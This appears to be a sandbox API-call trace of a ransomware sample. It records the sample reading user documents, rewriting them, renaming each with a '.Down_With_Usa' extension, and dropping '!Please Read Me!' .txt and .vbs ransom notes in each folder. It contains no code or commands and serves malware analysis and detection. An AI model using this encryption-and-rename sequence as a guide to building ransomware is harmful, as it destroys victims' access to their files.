[0119.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", nBufferLength=0x105, lpBuffer=0x2ea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", lpFilePart=0x0) returned 0x5e
[0119.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea7a0) returned 1
[0119.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\jz1sz4.ots"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea710) returned 1
[0119.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", lpFilePart=0x0) returned 0x5e
[0119.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots.Down_With_Usa", lpFilePart=0x0) returned 0x6c
[0119.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea8a0) returned 1
[0119.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\jz1sz4.ots"), fInfoLevelId=0x0, lpFileInformation=0x2ea980 | out: lpFileInformation=0x2ea980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabbbac0, ftCreationTime.dwHighDateTime=0x1d5db3e, ftLastAccessTime.dwLowDateTime=0xb9384900, ftLastAccessTime.dwHighDateTime=0x1d5e08a, ftLastWriteTime.dwLowDateTime=0x23e2e280, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc380)) returned 1
[0119.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea860) returned 1
[0119.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\jz1sz4.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\jz1sz4.ots.down_with_usa")) returned 1
[0119.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", lpFilePart=0x0) returned 0x60
[0119.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea790) returned 1
[0119.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\mpr6qecr.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea700) returned 1
[0119.825] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ea928 | out: lpFileSizeHigh=0x2ea928*=0x0) returned 0x614b
[0119.826] ReadFile (in: hFile=0x3a8, lpBuffer=0x2782690, nNumberOfBytesToRead=0x614b, lpNumberOfBytesRead=0x2ea858, lpOverlapped=0x0 | out: lpBuffer=0x2782690*, lpNumberOfBytesRead=0x2ea858*=0x614b, lpOverlapped=0x0) returned 1
[0119.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", nBufferLength=0x105, lpBuffer=0x2ea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", lpFilePart=0x0) returned 0x60
[0119.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea7a0) returned 1
[0119.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\mpr6qecr.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea710) returned 1
[0119.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls", lpFilePart=0x0) returned 0x60
[0119.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0119.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea8a0) returned 1
[0119.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\mpr6qecr.xls"), fInfoLevelId=0x0, lpFileInformation=0x2ea980 | out: lpFileInformation=0x2ea980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d767f10, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0x4f8bbec0, ftLastAccessTime.dwHighDateTime=0x1d5d9a4, ftLastWriteTime.dwLowDateTime=0x23e7a540, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6150)) returned 1
[0119.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea860) returned 1
[0119.857] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\mpr6qecr.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Mpr6QeCr.xls.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\mpr6qecr.xls.down_with_usa")) returned 1
[0119.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", lpFilePart=0x0) returned 0x5c
[0119.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea790) returned 1
[0119.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\vl05.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea700) returned 1
[0119.859] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ea928 | out: lpFileSizeHigh=0x2ea928*=0x0) returned 0x16d2d
[0119.860] ReadFile (in: hFile=0x3a8, lpBuffer=0x14f70bb0, nNumberOfBytesToRead=0x16d2d, lpNumberOfBytesRead=0x2ea858, lpOverlapped=0x0 | out: lpBuffer=0x14f70bb0*, lpNumberOfBytesRead=0x2ea858*=0x16d2d, lpOverlapped=0x0) returned 1
[0119.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", nBufferLength=0x105, lpBuffer=0x2ea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", lpFilePart=0x0) returned 0x5c
[0119.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea7a0) returned 1
[0119.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\vl05.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea710) returned 1
[0119.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf", lpFilePart=0x0) returned 0x5c
[0119.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf.Down_With_Usa", lpFilePart=0x0) returned 0x6a
[0119.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea8a0) returned 1
[0119.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\vl05.rtf"), fInfoLevelId=0x0, lpFileInformation=0x2ea980 | out: lpFileInformation=0x2ea980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c80800, ftCreationTime.dwHighDateTime=0x1d5e73b, ftLastAccessTime.dwLowDateTime=0x3519cee0, ftLastAccessTime.dwHighDateTime=0x1d5e36a, ftLastWriteTime.dwLowDateTime=0x23eec960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16d30)) returned 1
[0119.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea860) returned 1
[0119.905] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\vl05.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\Vl05.rtf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\vl05.rtf.down_with_usa")) returned 1
[0119.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x76
[0119.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", nBufferLength=0x105, lpBuffer=0x2ea980, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", lpFilePart=0x0) returned 0x53
[0119.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eade0) returned 1
[0119.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", nBufferLength=0x105, lpBuffer=0x2ea8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", lpFilePart=0x0) returned 0x53
[0119.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x76
[0119.906] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0119.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eaa80 | out: lpFindFileData=0x2eaa80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0119.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ead30) returned 1
[0119.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eacf0) returned 1
[0119.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ea630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x68
[0119.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eab10) returned 1
[0119.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaa80) returned 1
[0119.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ea7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x68
[0119.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eacb0) returned 1
[0119.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac20) returned 1
[0119.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x70
[0119.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", lpFilePart=0x0) returned 0x4d
[0119.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
[0119.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", lpFilePart=0x0) returned 0x4d
[0119.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x70
[0119.915] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0119.915] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0119.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0119.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0119.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x62
[0119.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0119.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0119.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x62
[0119.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0119.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0119.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6a
[0119.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", lpFilePart=0x0) returned 0x47
[0119.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0119.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", lpFilePart=0x0) returned 0x47
